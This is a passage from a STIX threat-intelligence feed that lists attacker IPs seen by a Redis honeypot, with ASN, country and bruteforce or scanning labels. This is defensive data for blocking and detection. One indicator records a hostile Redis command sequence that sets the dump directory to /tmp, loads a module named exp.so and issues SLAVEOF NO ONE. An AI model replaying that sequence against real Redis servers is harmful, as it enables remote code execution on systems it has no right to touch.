      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:25:10.000Z",
      "valid_until": "2026-05-26T20:25:09.000Z"
    },
    {
      "created": "2026-04-24T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Misc activity; redis_cmd_hits=0",
      "id": "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:25:10.000Z",
      "valid_until": "2026-05-26T22:25:09.000Z"
    },
    {
      "created": "2026-04-24T23:26:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--0f1c8d0a-b613-4477-87b8-a213099e9ddc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:26:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.163.14.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:26:18.000Z",
      "valid_until": "2026-05-26T23:25:09.000Z"
    },
    {
      "created": "2026-04-24T23:26:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--daf9825f-0d30-45e6-ae29-f0ca92ad38b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T23:26:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:26:18.000Z",
      "valid_until": "2026-05-26T23:25:09.000Z"
    },
    {
      "created": "2026-04-25T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=212317; asn_org=Hetzner Online GmbH; redis_cmd_hits=0",
      "id": "indicator--0a077ab8-c852-42f2-bde0-0d7d98682d7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.78.92.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T00:25:10.000Z",
      "valid_until": "2026-05-27T00:25:09.000Z"
    },
    {
      "created": "2026-04-25T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--5f195537-bb6b-411a-a8ee-336cb5c9934f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.174.64.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:25:10.000Z",
      "valid_until": "2026-05-27T04:25:09.000Z"
    },
    {
      "created": "2026-04-25T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); redis_cmd_hits=0",
      "id": "indicator--c71d066d-4bfe-46ea-adb9-4c9bfdad4da3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-25T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:25:10.000Z",
      "valid_until": "2026-05-27T04:25:09.000Z"
    },
    {
      "created": "2026-04-25T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1d7eade6-2d37-4bc7-8aba-9c97617cdc46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.223.109.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:25:10.000Z",
      "valid_until": "2026-05-27T06:25:09.000Z"
    },
    {
      "created": "2026-04-25T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--2b64192b-beaf-419e-b2d6-2507a78b8aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.109.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:25:10.000Z",
      "valid_until": "2026-05-27T06:25:09.000Z"
    },
    {
      "created": "2026-04-25T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--73ec225d-d2e1-4d4e-8cda-ac93d949ab90",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-25T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.50.47.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:25:10.000Z",
      "valid_until": "2026-05-27T07:25:09.000Z"
    },
    {
      "created": "2026-04-25T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--170790b2-a92f-4f8e-afbb-42a84bf8ac95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.131.162.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:25:10.000Z",
      "valid_until": "2026-05-27T07:25:09.000Z"
    },
    {
      "created": "2026-04-25T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ee69a1de-760c-45f3-bdf2-6b43ffdceb66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:25:11.000Z",
      "valid_until": "2026-05-27T11:25:10.000Z"
    },
    {
      "created": "2026-04-25T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e309fcd2-4f2b-48a3-9dd2-fe993c239561",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-25T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:25:11.000Z",
      "valid_until": "2026-05-27T11:25:10.000Z"
    },
    {
      "created": "2026-04-25T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--09ca6eb0-005b-473d-8e9f-618fd17e4f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.174.52.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:25:10.000Z",
      "valid_until": "2026-05-27T14:25:09.000Z"
    },
    {
      "created": "2026-04-25T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=ES; asn=41608; asn_org=NextGenWebs, S.L.; redis_cmd_hits=0",
      "id": "indicator--0e099b7f-eb18-41dd-8365-dd040ba06cd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.175.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:25:10.000Z",
      "valid_until": "2026-05-27T14:25:09.000Z"
    },
    {
      "created": "2026-04-25T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:25:10.000Z",
      "valid_until": "2026-05-27T15:25:09.000Z"
    },
    {
      "created": "2026-04-25T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--fba49dc1-db70-4346-898c-af9730e7f319",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-25T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:25:10.000Z",
      "valid_until": "2026-05-27T15:25:09.000Z"
    },
    {
      "created": "2026-04-25T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--855aa1c9-bc7e-42ce-aa66-3b3f2b6de770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.7.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:25:10.000Z",
      "valid_until": "2026-05-27T16:25:09.000Z"
    },
    {
      "created": "2026-04-25T19:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=3; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--dfb7b648-32bd-4dfa-80cf-ca98480f5822",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-25T19:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.28.191.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:25:19.000Z",
      "valid_until": "2026-05-27T19:25:09.000Z"
    },
    {
      "created": "2026-04-25T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=HK; asn=979; asn_org=NetLab Global; redis_cmds=CONFIG SET dir /tmp/,config set dir .,MODULE LOAD /tmp/exp.so,MODULE UNLOAD system,SLAVEOF NO ONE; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--6b690ac7-b900-4580-b971-f7dc9efa1244",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-25T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '154.36.175.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:25:12.000Z",
      "valid_until": "2026-05-27T20:25:09.000Z"
    },
    {
      "created": "2026-04-26T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--9b790997-e19a-4cc0-84cb-2ccebe8abff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T00:25:10.000Z",
      "valid_until": "2026-05-28T00:25:09.000Z"
    },
    {
      "created": "2026-04-26T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--ff35dcc2-c1d2-4edb-94a8-2987f692ee5b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-26T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.109.91.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T09:25:11.000Z",
      "valid_until": "2026-05-28T09:25:09.000Z"
    },
    {
      "created": "2026-04-26T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--f2c3b6b6-27bf-45a1-ad1f-cf7b69ba1973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.165.223.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T09:25:11.000Z",
      "valid_until": "2026-05-28T09:25:09.000Z"
    },
    {
      "created": "2026-04-26T10:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--af438f70-61d8-4a01-9e1d-c4f1c2845e39",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-26T10:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T10:25:12.000Z",
      "valid_until": "2026-05-28T10:25:10.000Z"
    },
    {
      "created": "2026-04-26T11:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--27fad588-cd15-4687-8bb3-0ecde27cb314",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.206.225.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:25:05.000Z",
      "valid_until": "2026-05-28T11:25:04.000Z"
    },
    {
      "created": "2026-04-26T11:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=RU; asn=12418; asn_org=Quantum CJSC; redis_cmd_hits=0",
      "id": "indicator--78bec432-1f33-489a-b26f-288526aaf820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T11:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.170.86.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T11:25:05.000Z",
      "valid_until": "2026-05-28T11:25:04.000Z"
    },
    {
      "created": "2026-04-26T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=3; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2c552eaf-6fc2-45a7-89c3-ba7082ebe0f0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-26T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T15:25:11.000Z",
      "valid_until": "2026-05-28T15:25:10.000Z"
    },
    {
      "created": "2026-04-26T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--18e41dc5-c3ba-4d4e-8734-eeabe98087b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.174.52.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:25:10.000Z",
      "valid_until": "2026-05-28T17:25:09.000Z"
    },
    {
      "created": "2026-04-26T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-26T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.182.130.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:25:10.000Z",
      "valid_until": "2026-05-28T17:25:09.000Z"
    },
    {
      "created": "2026-04-26T19:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--54bdaf3e-54e9-40a9-81e4-0caf0322cdf2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-26T19:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.29.89.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T19:25:05.000Z",
      "valid_until": "2026-05-28T19:25:04.000Z"
    },
    {
      "created": "2026-04-26T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=32475; asn_org=Internap Holding LLC; redis_cmd_hits=0",
      "id": "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T20:25:10.000Z",
      "valid_until": "2026-05-28T20:25:09.000Z"
    },
    {
      "created": "2026-04-27T00:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=PT; asn=21859; asn_org=Zenlayer Inc; redis_cmd_hits=0",
      "id": "indicator--ee420e7c-ae63-42ba-be77-03cbd0d72a41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T00:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T00:25:13.000Z",
      "valid_until": "2026-05-29T00:25:09.000Z"
    },
    {
      "created": "2026-04-27T00:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=PT; asn=21859; asn_org=Zenlayer Inc; redis_cmd_hits=0",
      "id": "indicator--53af8a38-1d6f-40ce-ac52-6b4daa0b6b7e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T00:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T00:25:13.000Z",
      "valid_until": "2026-05-29T00:25:09.000Z"
    },
    {
      "created": "2026-04-27T00:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; redis_cmd_hits=0",
      "id": "indicator--779633c8-45e4-4e67-9713-8d5a936eaa67",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T00:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T00:25:13.000Z",
      "valid_until": "2026-05-29T00:25:09.000Z"
    },
    {
      "created": "2026-04-27T00:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--ac2ddcb1-8ed8-4ed1-bd35-721dc1df1f4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T00:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T00:25:13.000Z",
      "valid_until": "2026-05-29T00:25:09.000Z"
    },
    {
      "created": "2026-04-27T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ba01c725-d0a1-4de0-82b5-c2250ef80994",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:25:10.000Z",
      "valid_until": "2026-05-29T02:25:09.000Z"
    },
    {
      "created": "2026-04-27T03:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--aaf9f4f5-a2cd-4203-989a-8b9a09b3fc67",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T03:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:25:18.000Z",
      "valid_until": "2026-05-29T03:25:17.000Z"
    },
    {
      "created": "2026-04-27T03:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:25:18.000Z",
      "valid_until": "2026-05-29T03:25:17.000Z"
    },
    {
      "created": "2026-04-27T03:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=209334; asn_org=Modat B.V.; redis_cmds='GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--15a64419-a669-4da4-8083-ea0e0bb8d747",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:25:18.000Z",
      "valid_until": "2026-05-29T03:25:17.000Z"
    },
    {
      "created": "2026-04-27T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--105d46dc-bd50-434e-87f3-ede68bf3a17d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-27T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T05:25:10.000Z",
      "valid_until": "2026-05-29T05:25:09.000Z"
    },
    {
      "created": "2026-04-27T06:25:33.000Z",
